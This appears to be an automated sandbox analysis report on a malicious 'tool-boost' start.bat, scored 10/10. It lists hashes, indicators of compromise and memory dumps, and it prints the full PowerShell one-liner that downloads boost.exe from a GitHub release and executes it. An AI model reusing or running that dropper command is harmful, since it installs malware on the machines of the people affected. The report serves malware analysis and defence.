c16fb37174db73f6d6070a87c43beda40357452e1e7ca344fe457b836c9d6976

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
09/06/2024, 15:45

Target

tool-boost-funk-boost/start.bat
Size

304B
MD5

57e40f471c7f83b49f8c0f5ad7d51984
SHA1

fd23d49f1d6bc0b159e0630a07ef6b9c7a4f70ed
SHA256

30106881ca3c6d9aa425dce7242d35aa04e12bfd01e3082817be9492c5a6779b
SHA512

4a9682e72eb0ac5b21e1246fc6f3bab4b3c76e4c7826c1a871dcbdc179664c48847e4e9f7588edbcd4622bb151db4ffae7db539c37ba669a29f6a5c264fcadb9

Score

10^/10

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/IWcommunityFR/tool-boost-funk/releases/download/boost/boost.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2368	powershell.exe
6	2368	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1420 wrote to memory of 2368	1420	cmd.exe	29
PID 1420 wrote to memory of 2368	1420	cmd.exe	29
PID 1420 wrote to memory of 2368	1420	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tool-boost-funk-boost\start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell $down=New-Object System.Net.WebClient;$url='https://github.com/IWcommunityFR/tool-boost-funk/releases/download/boost/boost.exe';$file='boost.exe'; $down.DownloadFile($url,$file);$exec=New-Object -com shell.application;$exec.shellexecute($file);exit
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368

memory/2368-4-0x000007FEF593E000-0x000007FEF593F000-memory.dmp

Filesize
4KB

Download
memory/2368-5-0x000000001B6F0000-0x000000001B9D2000-memory.dmp

Filesize
2.9MB

Download
memory/2368-6-0x0000000002770000-0x0000000002778000-memory.dmp

Filesize
32KB

Download
memory/2368-7-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-8-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-9-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-10-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-11-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-12-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download
memory/2368-13-0x000007FEF5680000-0x000007FEF601D000-memory.dmp

Filesize
9.6MB

Download